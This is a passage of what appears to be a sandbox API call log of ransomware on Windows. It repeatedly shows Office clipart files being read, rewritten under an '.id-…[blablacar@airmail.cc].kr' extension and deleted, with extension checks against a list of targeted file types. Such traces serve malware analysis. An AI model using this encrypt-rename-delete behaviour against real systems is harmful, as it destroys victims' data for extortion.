Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0207.353] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf")) returned 1 [0207.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0207.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0207.354] lstrlenW (lpString=".doc") returned 4 [0207.354] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.354] lstrlenW (lpString=".docx") returned 5 [0207.354] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0207.354] lstrlenW (lpString=".pdf") returned 4 [0207.354] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.354] lstrlenW (lpString=".xls") returned 4 [0207.354] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.354] lstrlenW (lpString=".xlsx") returned 5 [0207.354] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0207.354] lstrlenW (lpString=".ppt") returned 4 [0207.354] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0207.354] lstrlenW (lpString=".zip") returned 4 [0207.355] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.355] lstrlenW (lpString=".rar") returned 4 [0207.355] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.355] lstrlenW (lpString=".bz2") returned 4 [0207.355] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.355] lstrlenW (lpString=".7z") returned 3 [0207.355] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0207.355] lstrlenW (lpString=".dbf") returned 4 [0207.355] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0207.355] lstrlenW (lpString=".1cd") returned 4 [0207.355] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0207.355] lstrlenW (lpString=".jpg") returned 4 [0207.355] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0207.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0207.355] lstrlenW (lpString=".doc") returned 4 [0207.355] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.355] lstrlenW (lpString=".docx") returned 5 [0207.355] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0207.355] lstrlenW (lpString=".pdf") returned 4 [0207.355] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.355] lstrlenW (lpString=".xls") returned 4 [0207.355] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.355] lstrlenW (lpString=".xlsx") returned 5 [0207.355] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0207.355] lstrlenW (lpString=".ppt") returned 4 [0207.355] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0207.355] lstrlenW (lpString=".zip") returned 4 [0207.356] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.356] lstrlenW (lpString=".rar") returned 4 [0207.356] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.356] lstrlenW (lpString=".bz2") returned 4 [0207.356] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.356] lstrlenW (lpString=".7z") returned 3 [0207.356] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0207.356] lstrlenW (lpString=".dbf") returned 4 [0207.356] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0207.356] lstrlenW (lpString=".1cd") returned 4 [0207.356] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0207.356] lstrlenW (lpString=".jpg") returned 4 [0207.356] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.356] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0207.356] lstrlenW (lpString="J0105506.WMF") returned 12 [0207.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0207.357] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=2912) returned 1 [0207.357] CloseHandle (hObject=0x518) returned 1 [0207.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf")) returned 0x220 [0207.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0207.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0207.358] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0207.358] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0207.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0207.359] GetLastError () returned 0x0 [0207.359] ReadFile (in: hFile=0x518, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0xb60, lpOverlapped=0x0) returned 1 [0208.333] WriteFile (in: hFile=0x574, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xb70, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xb70, lpOverlapped=0x0) returned 1 [0208.334] ReadFile (in: hFile=0x518, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0208.334] WriteFile (in: hFile=0x574, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0208.334] SetEndOfFile (hFile=0x574) returned 1 [0208.334] CloseHandle (hObject=0x574) returned 1 [0208.334] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0208.334] SetEndOfFile (hFile=0x518) returned 1 [0208.337] CloseHandle (hObject=0x518) returned 1 [0208.337] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0208.339] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf")) returned 1 [0208.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0208.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0208.340] lstrlenW (lpString=".doc") returned 4 [0208.340] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.340] lstrlenW (lpString=".docx") returned 5 [0208.340] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0208.340] lstrlenW (lpString=".pdf") returned 4 [0208.340] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.340] lstrlenW (lpString=".xls") returned 4 [0208.340] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.340] lstrlenW (lpString=".xlsx") returned 5 [0208.340] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0208.340] lstrlenW (lpString=".ppt") returned 4 [0208.340] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0208.340] lstrlenW (lpString=".zip") returned 4 [0208.340] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.340] lstrlenW (lpString=".rar") returned 4 [0208.340] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.340] lstrlenW (lpString=".bz2") returned 4 [0208.340] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.340] lstrlenW (lpString=".7z") returned 3 [0208.340] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0208.340] lstrlenW (lpString=".dbf") returned 4 [0208.340] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0208.340] lstrlenW (lpString=".1cd") returned 4 [0208.340] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0208.341] lstrlenW (lpString=".jpg") returned 4 [0208.341] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0208.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0208.341] lstrlenW (lpString=".doc") returned 4 [0208.341] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.341] lstrlenW (lpString=".docx") returned 5 [0208.341] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0208.341] lstrlenW (lpString=".pdf") returned 4 [0208.341] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.341] lstrlenW (lpString=".xls") returned 4 [0208.341] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.341] lstrlenW (lpString=".xlsx") returned 5 [0208.341] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0208.341] lstrlenW (lpString=".ppt") returned 4 [0208.341] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0208.341] lstrlenW (lpString=".zip") returned 4 [0208.341] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.341] lstrlenW (lpString=".rar") returned 4 [0208.341] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.341] lstrlenW (lpString=".bz2") returned 4 [0208.341] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.341] lstrlenW (lpString=".7z") returned 3 [0208.341] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0208.341] lstrlenW (lpString=".dbf") returned 4 [0208.341] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0208.341] lstrlenW (lpString=".1cd") returned 4 [0208.341] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0208.342] lstrlenW (lpString=".jpg") returned 4 [0208.342] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.342] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0208.342] lstrlenW (lpString="J0105588.WMF") returned 12 [0208.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0208.343] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=21548) returned 1 [0208.343] CloseHandle (hObject=0x518) returned 1 [0208.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf")) returned 0x220 [0208.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0208.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0208.344] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0208.344] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0208.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0208.345] GetLastError () returned 0x0 [0208.345] ReadFile (in: hFile=0x518, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x542c, lpOverlapped=0x0) returned 1 [0208.347] WriteFile (in: hFile=0x574, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x5430, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x5430, lpOverlapped=0x0) returned 1 [0208.348] ReadFile (in: hFile=0x518, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0208.348] WriteFile (in: hFile=0x574, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0208.348] SetEndOfFile (hFile=0x574) returned 1 [0208.348] CloseHandle (hObject=0x574) returned 1 [0208.348] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0208.348] SetEndOfFile (hFile=0x518) returned 1 [0208.351] CloseHandle (hObject=0x518) returned 1 [0208.351] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0208.352] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf")) returned 1 [0208.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0208.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0208.352] lstrlenW (lpString=".doc") returned 4 [0208.352] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.352] lstrlenW (lpString=".docx") returned 5 [0208.352] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0208.352] lstrlenW (lpString=".pdf") returned 4 [0208.352] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.352] lstrlenW (lpString=".xls") returned 4 [0208.353] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.353] lstrlenW (lpString=".xlsx") returned 5 [0208.353] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0208.353] lstrlenW (lpString=".ppt") returned 4 [0208.353] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0208.353] lstrlenW (lpString=".zip") returned 4 [0208.353] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.353] lstrlenW (lpString=".rar") returned 4 [0208.353] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.353] lstrlenW (lpString=".bz2") returned 4 [0208.353] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.353] lstrlenW (lpString=".7z") returned 3 [0208.353] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0208.353] lstrlenW (lpString=".dbf") returned 4 [0208.353] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0208.353] lstrlenW (lpString=".1cd") returned 4 [0208.353] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0208.353] lstrlenW (lpString=".jpg") returned 4 [0208.353] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0208.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0208.353] lstrlenW (lpString=".doc") returned 4 [0208.353] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.353] lstrlenW (lpString=".docx") returned 5 [0208.353] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0208.353] lstrlenW (lpString=".pdf") returned 4 [0208.353] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.354] lstrlenW (lpString=".xls") returned 4 [0208.354] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.354] lstrlenW (lpString=".xlsx") returned 5 [0208.354] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0208.354] lstrlenW (lpString=".ppt") returned 4 [0208.354] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0208.354] lstrlenW (lpString=".zip") returned 4 [0208.354] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.354] lstrlenW (lpString=".rar") returned 4 [0208.354] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.354] lstrlenW (lpString=".bz2") returned 4 [0208.354] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.354] lstrlenW (lpString=".7z") returned 3 [0208.354] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0208.354] lstrlenW (lpString=".dbf") returned 4 [0208.354] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0208.354] lstrlenW (lpString=".1cd") returned 4 [0208.354] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0208.354] lstrlenW (lpString=".jpg") returned 4 [0208.354] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.354] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0208.354] lstrlenW (lpString="J0105600.WMF") returned 12 [0208.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0208.355] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=8680) returned 1 [0208.355] CloseHandle (hObject=0x518) returned 1 [0208.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf")) returned 0x220 [0208.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0208.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0208.356] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0208.356] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0208.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0208.357] GetLastError () returned 0x0 [0208.357] ReadFile (in: hFile=0x518, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x21e8, lpOverlapped=0x0) returned 1 [0208.359] WriteFile (in: hFile=0x574, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x21f0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x21f0, lpOverlapped=0x0) returned 1 [0208.360] ReadFile (in: hFile=0x518, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0208.360] WriteFile (in: hFile=0x574, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0208.360] SetEndOfFile (hFile=0x574) returned 1 [0208.360] CloseHandle (hObject=0x574) returned 1 [0208.360] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0208.361] SetEndOfFile (hFile=0x518) returned 1 [0208.363] CloseHandle (hObject=0x518) returned 1 [0208.363] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0208.363] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf")) returned 1 [0208.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0208.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0208.364] lstrlenW (lpString=".doc") returned 4 